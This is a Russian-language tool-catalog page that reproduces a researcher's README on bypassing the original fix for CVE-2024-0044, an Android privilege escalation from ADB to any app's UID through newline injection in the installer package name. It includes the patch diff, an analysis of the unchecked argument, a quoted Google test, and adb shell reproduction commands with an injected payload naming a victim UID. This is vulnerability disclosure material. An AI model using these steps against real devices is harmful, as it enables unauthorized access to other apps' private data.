Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-0044 — Доказательство концепции и описание обхода первоначального исправления CVE-2024-0044, уязвимости Android framework, позволяющей повысить привилегии с ADB до произвольного UID приложения путем инъекции имени пакета установщика. | Kitploit
Инструменты/GitHubGitHub/canyie/cve-2024-0044
Безопасность AndroidПовышение привилегийАнализ уязвимостейЭксплуатацияМобильная безопасностьСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubcanyie/cve-2024-0044

CVE-2024-0044

Доказательство концепции и описание обхода первоначального исправления CVE-2024-0044, уязвимости Android framework, позволяющей повысить привилегии с ADB до произвольного UID приложения путем инъекции имени пакета установщика.

1802981 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2024-0044/A-307532206 — это уязвимость высокой степени серьезности в Android Framework, которая позволяет злоумышленникам с доступом adb выполнять произвольный код под UID произвольного приложения. Изначально она была обнаружена Томом Хеббом из Meta Red Team X. В интернете можно найти множество статей об эксплуатации этой уязвимости, например эту и эту. Для получения дополнительной информации ознакомьтесь с этим блогом: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

Патч для этой уязвимости включен в Бюллетень безопасности Android за март 2024 года, но теперь я придумал эксплойт, который обходит этот патч. Новый патч включен в Бюллетень безопасности Android за октябрь 2024 года под тем же идентификатором CVE-2024-0044. Устройства Android 12–13 с уровнем патча безопасности до 2024-10-01 уязвимы для данной проблемы.

Этот репозиторий содержит минимально воспроизводимый PoC и описание.

Что не так с оригинальным патчем?

Патч добавил проверку имени пакета установщика, передаваемого в PackageManagerService:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

Вы можете видеть, что params.installerPackageName будет сброшен в null, если это не допустимое имя пакета Android. Однако на следующей строке requestedInstallerPackageName может быть installerPackageName, когда params.installerPackageName равен null или недействителен.

Что такое installerPackageName?

Давайте посмотрим на метод createSessionInternal, в который был добавлен патч:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

Вы можете видеть, что installerPackageName — это отдельный аргумент, который не берётся из param. Исходный патч проверял params.installerPackageName, но забыл проверить installerPackageName.

Воспроизведение

Вы можете просто использовать оригинальный код эксплойта из блога Тома Хебба для его воспроизведения. Этот репозиторий также содержит минимально воспроизводимый PoC. Если вы хотите протестировать мой PoC, просто соберите его, отправьте сгенерированный apk в /data/local/tmp/poc.apk, а затем выполните следующий код с помощью adb shell:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

замените <victim uid> на UID приложения-жертвы.

Если хотите повторить попытку, выполните adb uninstall top.canyie.cve_2024_0044 и снова запустите приведённый выше код.

Как это случилось дважды?

Проблема кажется очевидной. Как она ускользнула от всех?

Что ж, Google добавил тест для этой проблемы, чтобы убедиться, что она исправлена:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);
Скачать инструмент